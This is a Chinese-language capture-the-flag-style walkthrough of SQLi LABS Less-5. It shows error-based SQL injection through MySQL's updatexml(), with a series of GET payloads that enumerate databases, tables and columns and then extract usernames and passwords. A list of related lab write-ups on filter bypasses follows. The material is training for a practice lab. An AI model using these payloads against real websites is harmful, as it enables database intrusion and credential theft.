SQLi LABS Less-5

简介: 第五关请求方式为GET请求 , 注入点为 单引号字符串型注入 , 注入类型为 报错注入报错注入常用(我觉得)的是 updatexml() , 该函数的第2个参数包含特殊字符时会报错,并将第2个参数的内容返回到错误信息中

第五关请求方式为GET请求 , 注入点为 单引号字符串型注入 , 注入类型为 报错注入


报错注入常用(我觉得)的是 updatexml() , 该函数的第2个参数包含特殊字符时会报错,并将第2个参数的内容返回到错误信息中


image.png


第一步,判断注入类型

老规矩, 先来一个单引号'

?id=1'

数据库报错了

image.png

分析一下报错内容 , 最外层的一对单引号是数据库包裹报错内容的,我们不用管 , 1' 是我们输入的参数 , 我们的参数两边有一对单引号包裹 , 也就是说,后端的SQL会用一对单引号包裹参数 ,


固 单引号字符串型注入


image.png


源码如下


image.png


我们再来试一下updatexml() 是否会正常报错


?id=1' and updatexml(1,'~',3) -- a

正常报错 , 接下来进行报错注入


image.png


第二步,脱库

爆库

1. ?id=1' and updatexml(1,concat('~',
2. substr((select group_concat(schema_name)
3. from information_schema.schemata),62,31)
4. ),3) -- a

concat() , 用于拼接字符串 , 目的在于将查询结果拼接特殊字符'~' 来触发updatexml()的报错


substr() , 用于截取字符串 , 由于updatexml()返回的字符串长度不超过32位 , 所以需要多次截取不同位置的字符串 , 从而拿到完整的数据


image.png


爆表

?id=1' and updatexml(1,concat('~',
substr((select group_concat(table_name)
from information_schema.tables
where table_schema='security'),1,31)
),3) -- a

image.png

爆字段

?id=1' and updatexml(1,concat('~',
substr((select group_concat(column_name)
from information_schema.columns
where table_schema='security'
and table_name='users'),1,31)
),3) -- a

image.png

获取账号密码

?id=1' and updatexml(1,concat('~',
substr((select group_concat(username,'~',password) 
from security.users),1,31)
),3) -- a

image.png

相关文章
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-22
2关使用POST请求提交参数,对账号和密码中的特殊字符执行了转译的操作,难度较大
SQLi LABS Less-22
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-16
第16关使用POST请求提交参数,可以使用代理工具抓包或直接在输入框中修改参数 后端代码根据用户输入账号和密码去数据库中查询,查询成功则返回登录成功,否则返回登录失败,页面没有显示的数据,SQL语句中使用了错误抑制符@来限制数据库的报错信息,因此不能使用联合注入或报错注入,推荐使用布尔盲注,源码如下
118 0
SQLi LABS Less-16
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-21
21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大
139 0
SQLi LABS Less-21
|
SQL 数据库
SQLi LABS Less-26a
第26a关使用GET请求传递参数,在url地址栏中构造payload即可 源码中过滤了参数中的or,and,/*,--,#,空格,斜线,我们想办法绕过即可
275 0
SQLi LABS Less-26a
SQLi LABS Less-25a
第25a关使用GET请求传递参数,在url地址栏中构造payload即可 后端源码中过滤了and和or,但只过滤了一次,我们可以通过双写绕过
184 0
SQLi LABS Less-25a
|
SQL 数据库
SQLi LABS Less-27a
第27关使用GET请求提交参数,在url地址栏中构造payload即可 后端源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
148 0
SQLi LABS Less-27a
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可
182 0
SQLi LABS Less-29
|
数据库 数据安全/隐私保护
SQLi LABS Less-19
第19关使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译,难度较大源码如下
143 0
SQLi LABS Less-19
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号
118 0
SQLi LABS Less-30
SQLi LABS Less-31
第31关的源码中并未对参数做过多的过滤,只是在参数两边拼接了双引号和括号
120 0
SQLi LABS Less-31